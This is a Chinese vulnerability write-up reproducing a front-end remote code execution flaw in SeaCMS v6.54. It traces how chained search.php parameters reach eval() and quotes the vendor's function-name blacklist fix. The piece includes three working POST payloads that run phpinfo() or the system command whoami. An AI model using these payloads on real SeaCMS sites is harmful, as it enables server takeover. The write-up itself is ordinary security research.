1.环境:

php5.5.38+apache+seacms v6.54

上一篇文章针对seacms v6.45 进行了分析,官方给出针对修复前台geishell提供的方法为增加:

$order = ($order == "commend" || $order == "time" || $order == "hit") ? $order : "";

并且在v6.54中增加了对传入变量的长度限制,限制为20个字符之内,因此单一针对一个变量的绕过方法不满足长度要求,所以在该版本中才进行了多次替换绕过

每一次传进去的长度刚好20,思路挺不错的(当然小于此长度也可以)

但是在echoSearchPage()函数中声明的global变量并不是只有$order一个,可以利用其他的参数构造payload进入$content变量,从而导致代码执行,整个漏洞链构造流程环环相扣,最终聚焦在eval()函数上

2.poc1:

http://192.168.0.6/seacms654/search.php
POST:
searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=ph&9[]=pinfo();

poc2:

searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan={searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9])&9=phpinfo();

poc3:

searchtype=5&searchword={if{searchpage:year}&year=:s{searchpage:area}}&area=y{searchpage:letter}&letter=st{searchpage:lang}&yuyan=em{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9])&9=whoami //命令执行

3.演示效果:

4.漏洞分析

因为最终利用的是parseif函数,并且要利用到global声明的变量,因此我选择在65行和214行下断点进行分析

执行payload,使用F8开始单步调试,我们关注以下7个变量的值:

从157行开始,利用从global声明的变量开始对$content中的内容进行替换

第1处替换:

首先使用$searchword变量的值进行了替换,可以看到替换以后与之前的对比

第2处替换:

将$year变量的值替换了进来

第3处替换:

将变量$area的值替换了进来,

第4处替换:

将变量$letter的值替换了进来

第5处替换:

将变量$yuyan的值替换了进来

第6处替换:

将$jq变量的值替换进来

第7处替换:

将$ver变量的值替换进来

触发远程代码执行,到此已经拼接成了完整的payload,此时$strIf的内容没有任何过滤就带入了eval函数执行!!!

eval(join($_POST[9]))

官方修复方法:

在parseIf函数中添加了黑名单,替换了一些敏感字符串

function parseIf($content){

        if (strpos($content,'{if:')=== false){

        return $content;

        }else{

        $labelRule = buildregx("{if:(.*?)}(.*?){end if}","is");

        $labelRule2="{elseif";

        $labelRule3="{else}";

        preg_match_all($labelRule,$content,$iar);

foreach($iar as $v){

    $iarok[] = str_replace(array('unlink','opendir','mysqli_','mysql_','socket_','curl_','base64_','putenv','popen(','phpinfo','pfsockopen','proc_','preg_','_GET','_POST','_COOKIE','_REQUEST','_SESSION','eval(','file_','passthru(','exec(','system(','shell_'), '@.@', $v);

代码审计之seacms v6.54 前台Getshell 复现分析的更多相关文章

  1. 代码审计之seacms v6.45 前台Getshell 复现分析

    1.环境: php5.5.38+apache+seacms v6.45 seacms目录结构: │─admin //后台管理目录 │ │─coplugins //已停用目录 │ │─ebak //帝国 ...

  2. 海洋cms v6.53 v6.54版本漏洞复现

    海洋cms v6.53 v6.54版本漏洞复现 参考链接: 今天发现freebuf上一篇海洋cms的漏洞,来复现一下. http://www.freebuf.com/vuls/150042.html ...

  3. PHPCMS9.6.0最新版SQL注入和前台GETSHELL漏洞分析 (实验新课)

    PHPCMS9.6.0最新版中,由于/modules/attachment/attachments.php的过滤函数的缺陷导致了可以绕过它的过滤机制形成SQL注入漏洞,可导致数据库中数据泄漏. 而且在 ...

  4. eyoucms 前台 getshell 复现

    漏洞地址:http://www.sch01ar.com/index.php/api/Uploadify/preview 这样子说明存在漏洞 对 <?php phpinfo(); 进行 base6 ...

  5. 代码审计之CVE-2019-9081 Laravel5.7 反序列化 RCE复现分析

    本文首发于先知社区:https://xz.aliyun.com/t/5510 环境: php7.2+apache+laravel5.7 漏洞描述: Laravel Framework是Taylor O ...

  6. Typecho反序列化导致前台 getshell 漏洞复现

    Typecho反序列化导致前台 getshell 漏洞复现 漏洞描述: Typecho是一款快速建博客的程序,外观简洁,应用广泛.这次的漏洞通过install.php安装程序页面的反序列化函数,造成了 ...

  7. ShopEX 4.8.5.81822 前台Getshell

    ShopEX 4.8.5.81822 前台Getshell 作者:unhonker   发布:2014-06-23 00:12   分类:漏洞公布   被撸:8,179次   抢沙发     利用方式 ...

  8. phpcms v9 前台getshell脚本

    phpcms v9 前台getshell脚本 用法:python phpcmsv9getshell.py http://baidu.com # -*- coding:utf-8 -*- ''' --- ...

  9. PHP7CMS 无条件前台GETSHELL

    PHP7CMS 无条件前台GETSHELL Version:2018-10-09 //最新版中以修复此漏洞 这个漏洞很简单,如果作者在写代码的时候考虑到一点点安全方面,其实都可以避免的.   01 0 ...

随机推荐

  1. fastadmin 中的日期时间,日期时间范围范围插件和key-value插件

    //A/a代表字段名<div class="form-group"> <label class="control-label col-xs-12 col ...

  2. Delphi 字段的操作

    樊伟胜

  3. 【异常】lockfile.AlreadyLocked: ~/airflow/airflow-scheduler.pid is already locked

    1 完整异常信息 File "/usr/bin/airflow", line 32, in <module> args.func(args) File "/u ...

  4. 第六章· MySQL索引管理及执行计划

    一.索引介绍 1.什么是索引 1)索引就好比一本书的目录,它能让你更快的找到自己想要的内容. 2)让获取的数据更有目的性,从而提高数据库检索数据的性能. 2.索引类型介绍 1)BTREE:B+树索引 ...

  5. pandas中Series对象下的str所拥有的方法(df["xx"].str)

    在使用pandas的时候,经常要对DataFrame的某一列进行操作,一般都会使用df["xx"].str下的方法,但是都有哪些方法呢?我们下面来罗列并演示一下.既然是df[&qu ...

  6. Java SE 核心 II【Collection 集合框架】

    Collection集合框架 在实际开发中,需要将使用的对象存储于特定数据结构的容器中.而 JDK 提供了这样的容器——集合框架,集合框架中包含了一系列不同数据结构(线性表.查找表)的实现类.集合的引 ...

  7. 日常系统维护之修复linux的grub引导

    恩,不知道怎么表达为win10的更新很烦人,其实我感觉windows用的不是那么顺手,但是制作视频的时候还是要用到,图片的话linux也可以胜任,毕竟GUN IMAGE还是挺不错的,但到了视频制作方面 ...

  8. 卸载CUDA和cuDNN

    卸载CUDA和cuDNN 1.卸载CUDA 本教程只针对对于.run方式安装的,其他的没有进行测试 打开终端,输入sudo /usr/local/cuda-10.0/bin/uninstall_cud ...

  9. Summer training #6

    A:水.看0多还是1多就行 B:模拟二进制运算 ,,卡了好久 不应该 #include <bits/stdc++.h> #include <cstring> #include ...

  10. 关于多线程使用sqlite3的问题

    在window系统中使用sqlite3时,如果是多线程,如果设置不当会导致程序崩溃. 首先使用sqlite3_threadsafe()函数,确定当前使用的是线程安全. 之后在初始化的时候,sqlite ...